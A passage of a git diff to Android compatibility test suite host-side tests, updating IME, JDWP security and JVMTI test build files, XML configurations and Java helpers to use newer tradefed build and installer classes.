+        shell(ShellCommandUtils.enableIme(Ime1Constants.IME_ID));
+        shell(ShellCommandUtils.setCurrentIme(Ime1Constants.IME_ID));
+        assertTrue(runDeviceTestMethod(testCreateIme1));
+
+        final TestInfo testIme1IsNotCurrentIme = new TestInfo(DeviceTestConstants.PACKAGE,
+                DeviceTestConstants.TEST_CLASS, DeviceTestConstants.TEST_IME1_IS_NOT_CURRENT_IME);
+        sendTestStartEvent(testIme1IsNotCurrentIme);
+        shell(ShellCommandUtils.disableIme(Ime1Constants.IME_ID));
+        assertTrue(runDeviceTestMethod(testIme1IsNotCurrentIme));
+        assertEquals(shell(ShellCommandUtils.getCurrentIme()), mDefaultImeId);
+    }
+
+    private void sendTestStartEvent(final TestInfo deviceTest) throws Exception {
+        final String sender = deviceTest.getTestName();
+        // {@link EventType#EXTRA_EVENT_TIME} will be recorded at device side.
+        shell(ShellCommandUtils.broadcastIntent(
+                ACTION_DEVICE_EVENT, RECEIVER_COMPONENT,
+                "--es", EXTRA_EVENT_SENDER, sender,
+                "--es", EXTRA_EVENT_TYPE, TEST_START.name()));
+    }
+
+    private boolean runDeviceTestMethod(final TestInfo deviceTest) throws Exception {
+        return runDeviceTests(deviceTest.testPackage, deviceTest.testClass, deviceTest.testMethod);
+    }
+
+    private String shell(final String command) throws Exception {
+        return getDevice().executeShellCommand(command).trim();
+    }
+
+    private void cleanUpTestImes() throws Exception {
+        uninstallPackageIfExists(Ime1Constants.PACKAGE);
+        uninstallPackageIfExists(Ime2Constants.PACKAGE);
+    }
+
+    private void uninstallPackageIfExists(final String packageName) throws Exception {
+        if (isPackageInstalled(packageName)) {
+            uninstallPackage(packageName);
+        }
+    }
+}
diff --git a/hostsidetests/jdwpsecurity/Android.mk b/hostsidetests/jdwpsecurity/Android.mk
index 338a7ae..3c8ead8 100644
--- a/hostsidetests/jdwpsecurity/Android.mk
+++ b/hostsidetests/jdwpsecurity/Android.mk
@@ -23,9 +23,7 @@
 # Must match the package name in CtsTestCaseList.mk
 LOCAL_MODULE := CtsJdwpSecurityHostTestCases
 
-LOCAL_JAVA_LIBRARIES := cts-tradefed tradefed-prebuilt
-
-LOCAL_STATIC_JAVA_LIBRARIES := cts-migration-lib
+LOCAL_JAVA_LIBRARIES := cts-tradefed tradefed
 
 # Tag this module as a cts test artifact
 LOCAL_COMPATIBILITY_SUITE := cts
diff --git a/hostsidetests/jdwpsecurity/AndroidTest.xml b/hostsidetests/jdwpsecurity/AndroidTest.xml
index bbb99e9..4b23d19 100644
--- a/hostsidetests/jdwpsecurity/AndroidTest.xml
+++ b/hostsidetests/jdwpsecurity/AndroidTest.xml
@@ -14,7 +14,9 @@
      limitations under the License.
 -->
 <configuration description="Config for the CTS JDWP host test cases">
+    <option name="config-descriptor:metadata" key="component" value="art" />
     <test class="com.android.compatibility.common.tradefed.testtype.JarHostTest" >
         <option name="jar" value="CtsJdwpSecurityHostTestCases.jar" />
+        <option name="runtime-hint" value="10m30s" />
     </test>
 </configuration>
diff --git a/hostsidetests/jdwpsecurity/src/android/jdwpsecurity/cts/JdwpSecurityHostTest.java b/hostsidetests/jdwpsecurity/src/android/jdwpsecurity/cts/JdwpSecurityHostTest.java
index 186728c..a5570af 100644
--- a/hostsidetests/jdwpsecurity/src/android/jdwpsecurity/cts/JdwpSecurityHostTest.java
+++ b/hostsidetests/jdwpsecurity/src/android/jdwpsecurity/cts/JdwpSecurityHostTest.java
@@ -16,7 +16,7 @@
 
 package android.jdwpsecurity.cts;
 
-import com.android.cts.migration.MigrationHelper;
+import com.android.compatibility.common.tradefed.build.CompatibilityBuildHelper;
 import com.android.tradefed.build.IBuildInfo;
 import com.android.tradefed.device.DeviceNotAvailableException;
 import com.android.tradefed.log.LogUtil.CLog;
@@ -85,7 +85,8 @@
         getDevice().executeShellCommand("chmod 755 " + getDeviceScriptFilepath());
 
         // Push jar file.
-        File jarFile = MigrationHelper.getTestFile(mBuildInfo, DEVICE_JAR_FILENAME);
+        CompatibilityBuildHelper buildHelper = new CompatibilityBuildHelper(mBuildInfo);
+        File jarFile = buildHelper.getTestFile(DEVICE_JAR_FILENAME);
         boolean success = getDevice().pushFile(jarFile, getDeviceJarFilepath());
         assertTrue("Failed to push jar file to " + getDeviceScriptFilepath(), success);
     }
diff --git a/hostsidetests/jvmti/allocation-tracking/AndroidTest.xml b/hostsidetests/jvmti/allocation-tracking/AndroidTest.xml
index 84f074d..706bdef 100644
--- a/hostsidetests/jvmti/allocation-tracking/AndroidTest.xml
+++ b/hostsidetests/jvmti/allocation-tracking/AndroidTest.xml
@@ -14,10 +14,10 @@
      limitations under the License.
 -->
 <configuration description="Config for CTS JVMTI test cases">
-    <target_preparer class="android.jvmti.cts.JvmtiPreparer">
+    <option name="config-descriptor:metadata" key="component" value="art" />
+    <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsJvmtiTrackingDeviceApp.apk" />
-        <option name="package-name" value="android.jvmti.cts.tracking" />
     </target_preparer>
     <test class="com.android.compatibility.common.tradefed.testtype.JarHostTest" >
         <option name="jar" value="CtsJvmtiTrackingHostTestCases.jar" />
diff --git a/hostsidetests/jvmti/base/host/Android.mk b/hostsidetests/jvmti/base/host/Android.mk
index 08bcb8e..154845b 100644
--- a/hostsidetests/jvmti/base/host/Android.mk
+++ b/hostsidetests/jvmti/base/host/Android.mk
@@ -20,6 +20,6 @@
 LOCAL_MODULE_TAGS := optional
 LOCAL_SRC_FILES := $(call all-subdir-java-files)
 LOCAL_SDK_VERSION := current
-LOCAL_JAVA_LIBRARIES := cts-tradefed tradefed-prebuilt compatibility-host-util
+LOCAL_JAVA_LIBRARIES := cts-tradefed tradefed compatibility-host-util
 
 include $(BUILD_HOST_JAVA_LIBRARY)
diff --git a/hostsidetests/jvmti/base/host/src/android/jvmti/cts/JvmtiHostTest.java b/hostsidetests/jvmti/base/host/src/android/jvmti/cts/JvmtiHostTest.java
index 7db3124..f8099ef 100644
--- a/hostsidetests/jvmti/base/host/src/android/jvmti/cts/JvmtiHostTest.java
+++ b/hostsidetests/jvmti/base/host/src/android/jvmti/cts/JvmtiHostTest.java
@@ -26,11 +26,13 @@
 import com.android.tradefed.testtype.IAbi;
 import com.android.tradefed.testtype.IAbiReceiver;
 import com.android.tradefed.testtype.IBuildReceiver;
+import com.android.tradefed.util.AbiUtils;
 import com.android.tradefed.util.ZipUtil;
 import java.io.File;
 import java.util.LinkedList;
 import java.util.List;
 import java.util.Map;
+import java.util.concurrent.TimeUnit;
 import java.util.zip.ZipFile;
 
 /**
@@ -74,12 +76,27 @@
     public void testJvmti() throws Exception {
         final ITestDevice device = getDevice();
 
+        String testingArch = AbiUtils.getBaseArchForAbi(mAbi.getName());
+        String deviceArch = getDeviceBaseArch(device);
+
+        //Only bypass if Base Archs are different
+        if (!testingArch.equals(deviceArch)) {
+            CLog.d(
+                    "Bypass as testing Base Arch:"
+                            + testingArch
+                            + " is different from DUT Base Arch:"
+                            + deviceArch);
+            return;
+        }
+
         if (mTestApk == null || mTestPackageName == null) {
             throw new IllegalStateException("Incorrect configuration");
         }
 
         RemoteAndroidTestRunner runner = new RemoteAndroidTestRunner(mTestPackageName, RUNNER,
                 device.getIDevice());
+        // set a max deadline limit to avoid hanging forever
+        runner.setMaxTimeToOutputResponse(2, TimeUnit.MINUTES);
 
         TestResults tr = new TestResults(new AttachAgent(device, mTestPackageName, mTestApk));
 
@@ -89,6 +106,12 @@
         assertFalse(tr.getErrors(), tr.hasFailed());
     }
 
+    private String getDeviceBaseArch(ITestDevice device) throws Exception {
+        String abi = device.executeShellCommand("getprop ro.product.cpu.abi").replace("\n", "");
+        CLog.d("DUT abi:" + abi);
+        return AbiUtils.getBaseArchForAbi(abi);
+    }
+
     private class AttachAgent implements Runnable {
         private ITestDevice mDevice;
         private String mPkg;
@@ -139,22 +162,13 @@
             }
         }
 
-        File getTestFile(String filename) throws java.io.FileNotFoundException {
-            File testFile = new File(mBuildHelper.getTestsDir(), filename);
-            if (!testFile.exists()) {
-                throw new java.io.FileNotFoundException(String.format(
-                        "Compatibility test file %s does not exist", filename));
-            }
-            return testFile;
-        }
-
         String installLibToDataData(String dataData, String library) throws Exception {
             ZipFile zf = null;
             File tmpFile = null;
             try {
                 String libInDataData = dataData + "/" + library;
 
-                File apkFile = getTestFile(mApk);
+                File apkFile = mBuildHelper.getTestFile(mApk);
                 zf = new ZipFile(apkFile);
 
                 String libPathInApk = "lib/" + mAbi.getName() + "/" + library;
diff --git a/hostsidetests/jvmti/base/host/src/android/jvmti/cts/JvmtiPreparer.java b/hostsidetests/jvmti/base/host/src/android/jvmti/cts/JvmtiPreparer.java
index 2039b7b..1577ab3 100644
--- a/hostsidetests/jvmti/base/host/src/android/jvmti/cts/JvmtiPreparer.java
+++ b/hostsidetests/jvmti/base/host/src/android/jvmti/cts/JvmtiPreparer.java
@@ -32,9 +32,9 @@
     }
 
     @Override
-    protected File getLocalPathForFilename(IBuildInfo arg0, String arg1)
+    protected File getLocalPathForFilename(IBuildInfo arg0, String arg1, ITestDevice arg2)
             throws TargetSetupError {
         storedApkName = arg1;
-        return super.getLocalPathForFilename(arg0, arg1);
+        return super.getLocalPathForFilename(arg0, arg1, arg2);
     }
 }
diff --git a/hostsidetests/jvmti/redefining/AndroidTest.xml b/hostsidetests/jvmti/redefining/AndroidTest.xml
index 3bc93a2..b1f9b01 100644
--- a/hostsidetests/jvmti/redefining/AndroidTest.xml
+++ b/hostsidetests/jvmti/redefining/AndroidTest.xml
@@ -14,10 +14,10 @@
      limitations under the License.
 -->
 <configuration description="Config for CTS JVMTI test cases">
-    <target_preparer class="android.jvmti.cts.JvmtiPreparer">
+    <option name="config-descriptor:metadata" key="component" value="art" />
+    <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsJvmtiRedefineClassesDeviceApp.apk" />
-        <option name="package-name" value="android.jvmti.cts.redefine" />
     </target_preparer>
     <test class="com.android.compatibility.common.tradefed.testtype.JarHostTest" >
         <option name="jar" value="CtsJvmtiRedefineClassesHostTestCases.jar" />
diff --git a/hostsidetests/jvmti/run-tests/test-902/AndroidTest.xml b/hostsidetests/jvmti/run-tests/test-902/AndroidTest.xml
index ade4fac..7c08e22 100644
--- a/hostsidetests/jvmti/run-tests/test-902/AndroidTest.xml
+++ b/hostsidetests/jvmti/run-tests/test-902/AndroidTest.xml
@@ -14,10 +14,10 @@
      limitations under the License.
 -->
 <configuration description="Config for CTS JVMTI test cases">
-    <target_preparer class="android.jvmti.cts.JvmtiPreparer">
+    <option name="config-descriptor:metadata" key="component" value="art" />
+    <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsJvmtiRunTest902DeviceApp.apk" />
-        <option name="package-name" value="android.jvmti.cts.run_test_902" />
     </target_preparer>
     <test class="com.android.compatibility.common.tradefed.testtype.JarHostTest" >
         <option name="jar" value="CtsJvmtiRunTest902HostTestCases.jar" />
diff --git a/hostsidetests/jvmti/run-tests/test-903/AndroidTest.xml b/hostsidetests/jvmti/run-tests/test-903/AndroidTest.xml
index 1390840..2ab9b3e 100644
--- a/hostsidetests/jvmti/run-tests/test-903/AndroidTest.xml
+++ b/hostsidetests/jvmti/run-tests/test-903/AndroidTest.xml
@@ -14,10 +14,10 @@
      limitations under the License.
 -->
 <configuration description="Config for CTS JVMTI test cases">
-    <target_preparer class="android.jvmti.cts.JvmtiPreparer">
+    <option name="config-descriptor:metadata" key="component" value="art" />
+    <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsJvmtiRunTest903DeviceApp.apk" />
-        <option name="package-name" value="android.jvmti.cts.run_test_903" />
     </target_preparer>
     <test class="com.android.compatibility.common.tradefed.testtype.JarHostTest" >
         <option name="jar" value="CtsJvmtiRunTest903HostTestCases.jar" />
diff --git a/hostsidetests/jvmti/run-tests/test-904/AndroidTest.xml b/hostsidetests/jvmti/run-tests/test-904/AndroidTest.xml
index f16ce94..7a8a700 100644
--- a/hostsidetests/jvmti/run-tests/test-904/AndroidTest.xml
+++ b/hostsidetests/jvmti/run-tests/test-904/AndroidTest.xml
@@ -14,10 +14,10 @@
      limitations under the License.
 -->
 <configuration description="Config for CTS JVMTI test cases">
-    <target_preparer class="android.jvmti.cts.JvmtiPreparer">
+    <option name="config-descriptor:metadata" key="component" value="art" />
+    <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsJvmtiRunTest904DeviceApp.apk" />
-        <option name="package-name" value="android.jvmti.cts.run_test_904" />
     </target_preparer>
     <test class="com.android.compatibility.common.tradefed.testtype.JarHostTest" >
         <option name="jar" value="CtsJvmtiRunTest904HostTestCases.jar" />
diff --git a/hostsidetests/jvmti/run-tests/test-905/AndroidTest.xml b/hostsidetests/jvmti/run-tests/test-905/AndroidTest.xml
index c337e82..87bac7e 100644
--- a/hostsidetests/jvmti/run-tests/test-905/AndroidTest.xml
+++ b/hostsidetests/jvmti/run-tests/test-905/AndroidTest.xml
@@ -14,10 +14,10 @@
      limitations under the License.
 -->
 <configuration description="Config for CTS JVMTI test cases">
-    <target_preparer class="android.jvmti.cts.JvmtiPreparer">
+    <option name="config-descriptor:metadata" key="component" value="art" />
+    <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsJvmtiRunTest905DeviceApp.apk" />
-        <option name="package-name" value="android.jvmti.cts.run_test_905" />
     </target_preparer>
     <test class="com.android.compatibility.common.tradefed.testtype.JarHostTest" >
         <option name="jar" value="CtsJvmtiRunTest905HostTestCases.jar" />
diff --git a/hostsidetests/jvmti/run-tests/test-906/AndroidTest.xml b/hostsidetests/jvmti/run-tests/test-906/AndroidTest.xml
index dbd74f6..37d2fe0 100644
--- a/hostsidetests/jvmti/run-tests/test-906/AndroidTest.xml
+++ b/hostsidetests/jvmti/run-tests/test-906/AndroidTest.xml
@@ -14,10 +14,10 @@
      limitations under the License.
 -->
 <configuration description="Config for CTS JVMTI test cases">
-    <target_preparer class="android.jvmti.cts.JvmtiPreparer">
+    <option name="config-descriptor:metadata" key="component" value="art" />
+    <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsJvmtiRunTest906DeviceApp.apk" />
-        <option name="package-name" value="android.jvmti.cts.run_test_906" />
     </target_preparer>
     <test class="com.android.compatibility.common.tradefed.testtype.JarHostTest" >
         <option name="jar" value="CtsJvmtiRunTest906HostTestCases.jar" />
diff --git a/hostsidetests/jvmti/run-tests/test-907/AndroidTest.xml b/hostsidetests/jvmti/run-tests/test-907/AndroidTest.xml
index 99cd40d..e9948e7 100644
--- a/hostsidetests/jvmti/run-tests/test-907/AndroidTest.xml
+++ b/hostsidetests/jvmti/run-tests/test-907/AndroidTest.xml
@@ -14,10 +14,10 @@
      limitations under the License.
 -->
 <configuration description="Config for CTS JVMTI test cases">
-    <target_preparer class="android.jvmti.cts.JvmtiPreparer">
+    <option name="config-descriptor:metadata" key="component" value="art" />
+    <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsJvmtiRunTest907DeviceApp.apk" />
-        <option name="package-name" value="android.jvmti.cts.run_test_907" />
     </target_preparer>
     <test class="com.android.compatibility.common.tradefed.testtype.JarHostTest" >
         <option name="jar" value="CtsJvmtiRunTest907HostTestCases.jar" />
diff --git a/hostsidetests/jvmti/run-tests/test-908/AndroidTest.xml b/hostsidetests/jvmti/run-tests/test-908/AndroidTest.xml
index fca6567..3298b96 100644
--- a/hostsidetests/jvmti/run-tests/test-908/AndroidTest.xml
+++ b/hostsidetests/jvmti/run-tests/test-908/AndroidTest.xml
@@ -14,10 +14,10 @@
      limitations under the License.
 -->
 <configuration description="Config for CTS JVMTI test cases">
-    <target_preparer class="android.jvmti.cts.JvmtiPreparer">
+    <option name="config-descriptor:metadata" key="component" value="art" />
+    <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsJvmtiRunTest908DeviceApp.apk" />
-        <option name="package-name" value="android.jvmti.cts.run_test_908" />
     </target_preparer>
     <test class="com.android.compatibility.common.tradefed.testtype.JarHostTest" >
         <option name="jar" value="CtsJvmtiRunTest908HostTestCases.jar" />
diff --git a/hostsidetests/jvmti/run-tests/test-910/AndroidTest.xml b/hostsidetests/jvmti/run-tests/test-910/AndroidTest.xml
index a947621..6fded28 100644
--- a/hostsidetests/jvmti/run-tests/test-910/AndroidTest.xml
+++ b/hostsidetests/jvmti/run-tests/test-910/AndroidTest.xml
@@ -14,10 +14,10 @@
      limitations under the License.
 -->
 <configuration description="Config for CTS JVMTI test cases">
-    <target_preparer class="android.jvmti.cts.JvmtiPreparer">
+    <option name="config-descriptor:metadata" key="component" value="art" />
+    <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsJvmtiRunTest910DeviceApp.apk" />
-        <option name="package-name" value="android.jvmti.cts.run_test_910" />
     </target_preparer>
     <test class="com.android.compatibility.common.tradefed.testtype.JarHostTest" >
         <option name="jar" value="CtsJvmtiRunTest910HostTestCases.jar" />
diff --git a/hostsidetests/jvmti/run-tests/test-911/AndroidTest.xml b/hostsidetests/jvmti/run-tests/test-911/AndroidTest.xml
index fb06812..6947ae4 100644
--- a/hostsidetests/jvmti/run-tests/test-911/AndroidTest.xml
+++ b/hostsidetests/jvmti/run-tests/test-911/AndroidTest.xml
@@ -14,10 +14,10 @@
      limitations under the License.
 -->
 <configuration description="Config for CTS JVMTI test cases">
-    <target_preparer class="android.jvmti.cts.JvmtiPreparer">
+    <option name="config-descriptor:metadata" key="component" value="art" />
+    <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsJvmtiRunTest911DeviceApp.apk" />
-        <option name="package-name" value="android.jvmti.cts.run_test_911" />
     </target_preparer>
     <test class="com.android.compatibility.common.tradefed.testtype.JarHostTest" >
         <option name="jar" value="CtsJvmtiRunTest911HostTestCases.jar" />
diff --git a/hostsidetests/jvmti/run-tests/test-913/AndroidTest.xml b/hostsidetests/jvmti/run-tests/test-913/AndroidTest.xml
index a019d07..7655d03 100644
--- a/hostsidetests/jvmti/run-tests/test-913/AndroidTest.xml
+++ b/hostsidetests/jvmti/run-tests/test-913/AndroidTest.xml
@@ -14,10 +14,10 @@
      limitations under the License.
 -->
 <configuration description="Config for CTS JVMTI test cases">
-    <target_preparer class="android.jvmti.cts.JvmtiPreparer">
+    <option name="config-descriptor:metadata" key="component" value="art" />
+    <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsJvmtiRunTest913DeviceApp.apk" />
-        <option name="package-name" value="android.jvmti.cts.run_test_913" />
     </target_preparer>
     <test class="com.android.compatibility.common.tradefed.testtype.JarHostTest" >
         <option name="jar" value="CtsJvmtiRunTest913HostTestCases.jar" />
diff --git a/hostsidetests/jvmti/run-tests/test-914/AndroidTest.xml b/hostsidetests/jvmti/run-tests/test-914/AndroidTest.xml
index b70869e..15e58ee 100644
--- a/hostsidetests/jvmti/run-tests/test-914/AndroidTest.xml
+++ b/hostsidetests/jvmti/run-tests/test-914/AndroidTest.xml
@@ -14,10 +14,10 @@
      limitations under the License.
 -->
 <configuration description="Config for CTS JVMTI test cases">
-    <target_preparer class="android.jvmti.cts.JvmtiPreparer">
+    <option name="config-descriptor:metadata" key="component" value="art" />
+    <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsJvmtiRunTest914DeviceApp.apk" />
-        <option name="package-name" value="android.jvmti.cts.run_test_914" />
     </target_preparer>
     <test class="com.android.compatibility.common.tradefed.testtype.JarHostTest" >
         <option name="jar" value="CtsJvmtiRunTest914HostTestCases.jar" />
diff --git a/hostsidetests/jvmti/run-tests/test-915/AndroidTest.xml b/hostsidetests/jvmti/run-tests/test-915/AndroidTest.xml
index 35f9903..dbe9df0 100644
--- a/hostsidetests/jvmti/run-tests/test-915/AndroidTest.xml
+++ b/hostsidetests/jvmti/run-tests/test-915/AndroidTest.xml
@@ -14,10 +14,10 @@
      limitations under the License.
 -->
 <configuration description="Config for CTS JVMTI test cases">
-    <target_preparer class="android.jvmti.cts.JvmtiPreparer">
+    <option name="config-descriptor:metadata" key="component" value="art" />
+    <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsJvmtiRunTest915DeviceApp.apk" />
-        <option name="package-name" value="android.jvmti.cts.run_test_915" />
     </target_preparer>
     <test class="com.android.compatibility.common.tradefed.testtype.JarHostTest" >
         <option name="jar" value="CtsJvmtiRunTest915HostTestCases.jar" />
diff --git a/hostsidetests/jvmti/run-tests/test-917/AndroidTest.xml b/hostsidetests/jvmti/run-tests/test-917/AndroidTest.xml
index ad988af..04a515b 100644
--- a/hostsidetests/jvmti/run-tests/test-917/AndroidTest.xml
+++ b/hostsidetests/jvmti/run-tests/test-917/AndroidTest.xml
@@ -14,10 +14,10 @@
      limitations under the License.
 -->
 <configuration description="Config for CTS JVMTI test cases">
-    <target_preparer class="android.jvmti.cts.JvmtiPreparer">
+    <option name="config-descriptor:metadata" key="component" value="art" />
+    <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsJvmtiRunTest917DeviceApp.apk" />
-        <option name="package-name" value="android.jvmti.cts.run_test_917" />
     </target_preparer>
     <test class="com.android.compatibility.common.tradefed.testtype.JarHostTest" >
         <option name="jar" value="CtsJvmtiRunTest917HostTestCases.jar" />
diff --git a/hostsidetests/jvmti/run-tests/test-918/AndroidTest.xml b/hostsidetests/jvmti/run-tests/test-918/AndroidTest.xml
index 4a3feb1..e4fc0eb 100644
--- a/hostsidetests/jvmti/run-tests/test-918/AndroidTest.xml
+++ b/hostsidetests/jvmti/run-tests/test-918/AndroidTest.xml
@@ -14,10 +14,10 @@
      limitations under the License.
 -->
 <configuration description="Config for CTS JVMTI test cases">
-    <target_preparer class="android.jvmti.cts.JvmtiPreparer">
+    <option name="config-descriptor:metadata" key="component" value="art" />
+    <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsJvmtiRunTest918DeviceApp.apk" />
-        <option name="package-name" value="android.jvmti.cts.run_test_918" />
     </target_preparer>
     <test class="com.android.compatibility.common.tradefed.testtype.JarHostTest" >
         <option name="jar" value="CtsJvmtiRunTest918HostTestCases.jar" />
diff --git a/hostsidetests/jvmti/run-tests/test-919/AndroidTest.xml b/hostsidetests/jvmti/run-tests/test-919/AndroidTest.xml
index 3183ad3..39f464a 100644
--- a/hostsidetests/jvmti/run-tests/test-919/AndroidTest.xml
+++ b/hostsidetests/jvmti/run-tests/test-919/AndroidTest.xml
@@ -14,10 +14,10 @@
      limitations under the License.
 -->
 <configuration description="Config for CTS JVMTI test cases">
-    <target_preparer class="android.jvmti.cts.JvmtiPreparer">
+    <option name="config-descriptor:metadata" key="component" value="art" />
+    <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsJvmtiRunTest919DeviceApp.apk" />
-        <option name="package-name" value="android.jvmti.cts.run_test_919" />
     </target_preparer>
     <test class="com.android.compatibility.common.tradefed.testtype.JarHostTest" >
         <option name="jar" value="CtsJvmtiRunTest919HostTestCases.jar" />
diff --git a/hostsidetests/jvmti/run-tests/test-920/AndroidTest.xml b/hostsidetests/jvmti/run-tests/test-920/AndroidTest.xml
index ba53a64..5d33072 100644
--- a/hostsidetests/jvmti/run-tests/test-920/AndroidTest.xml
+++ b/hostsidetests/jvmti/run-tests/test-920/AndroidTest.xml
@@ -14,10 +14,10 @@
      limitations under the License.
 -->
 <configuration description="Config for CTS JVMTI test cases">
-    <target_preparer class="android.jvmti.cts.JvmtiPreparer">
+    <option name="config-descriptor:metadata" key="component" value="art" />
+    <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsJvmtiRunTest920DeviceApp.apk" />
-        <option name="package-name" value="android.jvmti.cts.run_test_920" />
     </target_preparer>
     <test class="com.android.compatibility.common.tradefed.testtype.JarHostTest" >
         <option name="jar" value="CtsJvmtiRunTest920HostTestCases.jar" />
diff --git a/hostsidetests/jvmti/run-tests/test-922/AndroidTest.xml b/hostsidetests/jvmti/run-tests/test-922/AndroidTest.xml
index 2b74f07..eb1cae9 100644
--- a/hostsidetests/jvmti/run-tests/test-922/AndroidTest.xml
+++ b/hostsidetests/jvmti/run-tests/test-922/AndroidTest.xml
@@ -14,10 +14,10 @@
      limitations under the License.
 -->
 <configuration description="Config for CTS JVMTI test cases">
-    <target_preparer class="android.jvmti.cts.JvmtiPreparer">
+    <option name="config-descriptor:metadata" key="component" value="art" />
+    <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsJvmtiRunTest922DeviceApp.apk" />
-        <option name="package-name" value="android.jvmti.cts.run_test_922" />
     </target_preparer>
     <test class="com.android.compatibility.common.tradefed.testtype.JarHostTest" >
         <option name="jar" value="CtsJvmtiRunTest922HostTestCases.jar" />
diff --git a/hostsidetests/jvmti/run-tests/test-923/AndroidTest.xml b/hostsidetests/jvmti/run-tests/test-923/AndroidTest.xml
index 9c8aa21..c1977d6 100644
--- a/hostsidetests/jvmti/run-tests/test-923/AndroidTest.xml
+++ b/hostsidetests/jvmti/run-tests/test-923/AndroidTest.xml
@@ -14,10 +14,10 @@
      limitations under the License.
 -->
 <configuration description="Config for CTS JVMTI test cases">
-    <target_preparer class="android.jvmti.cts.JvmtiPreparer">
+    <option name="config-descriptor:metadata" key="component" value="art" />
+    <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsJvmtiRunTest923DeviceApp.apk" />
-        <option name="package-name" value="android.jvmti.cts.run_test_923" />
     </target_preparer>
     <test class="com.android.compatibility.common.tradefed.testtype.JarHostTest" >
         <option name="jar" value="CtsJvmtiRunTest923HostTestCases.jar" />
diff --git a/hostsidetests/jvmti/run-tests/test-924/AndroidTest.xml b/hostsidetests/jvmti/run-tests/test-924/AndroidTest.xml
index 5a2b567..3424b6b 100644
--- a/hostsidetests/jvmti/run-tests/test-924/AndroidTest.xml
+++ b/hostsidetests/jvmti/run-tests/test-924/AndroidTest.xml
@@ -14,10 +14,10 @@
      limitations under the License.
 -->
 <configuration description="Config for CTS JVMTI test cases">
-    <target_preparer class="android.jvmti.cts.JvmtiPreparer">
+    <option name="config-descriptor:metadata" key="component" value="art" />
+    <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsJvmtiRunTest924DeviceApp.apk" />
-        <option name="package-name" value="android.jvmti.cts.run_test_924" />
     </target_preparer>
     <test class="com.android.compatibility.common.tradefed.testtype.JarHostTest" >
         <option name="jar" value="CtsJvmtiRunTest924HostTestCases.jar" />
diff --git a/hostsidetests/jvmti/run-tests/test-926/AndroidTest.xml b/hostsidetests/jvmti/run-tests/test-926/AndroidTest.xml
index eea4602..30c0da8 100644
--- a/hostsidetests/jvmti/run-tests/test-926/AndroidTest.xml
+++ b/hostsidetests/jvmti/run-tests/test-926/AndroidTest.xml
@@ -14,10 +14,10 @@
      limitations under the License.
 -->
 <configuration description="Config for CTS JVMTI test cases">
-    <target_preparer class="android.jvmti.cts.JvmtiPreparer">
+    <option name="config-descriptor:metadata" key="component" value="art" />
+    <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsJvmtiRunTest926DeviceApp.apk" />
-        <option name="package-name" value="android.jvmti.cts.run_test_926" />
     </target_preparer>
     <test class="com.android.compatibility.common.tradefed.testtype.JarHostTest" >
         <option name="jar" value="CtsJvmtiRunTest926HostTestCases.jar" />
diff --git a/hostsidetests/jvmti/run-tests/test-927/AndroidTest.xml b/hostsidetests/jvmti/run-tests/test-927/AndroidTest.xml
index 71d452d..52b9b8e 100644
--- a/hostsidetests/jvmti/run-tests/test-927/AndroidTest.xml
+++ b/hostsidetests/jvmti/run-tests/test-927/AndroidTest.xml
@@ -14,10 +14,10 @@
      limitations under the License.
 -->
 <configuration description="Config for CTS JVMTI test cases">
-    <target_preparer class="android.jvmti.cts.JvmtiPreparer">
+    <option name="config-descriptor:metadata" key="component" value="art" />
+    <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsJvmtiRunTest927DeviceApp.apk" />
-        <option name="package-name" value="android.jvmti.cts.run_test_927" />
     </target_preparer>
     <test class="com.android.compatibility.common.tradefed.testtype.JarHostTest" >
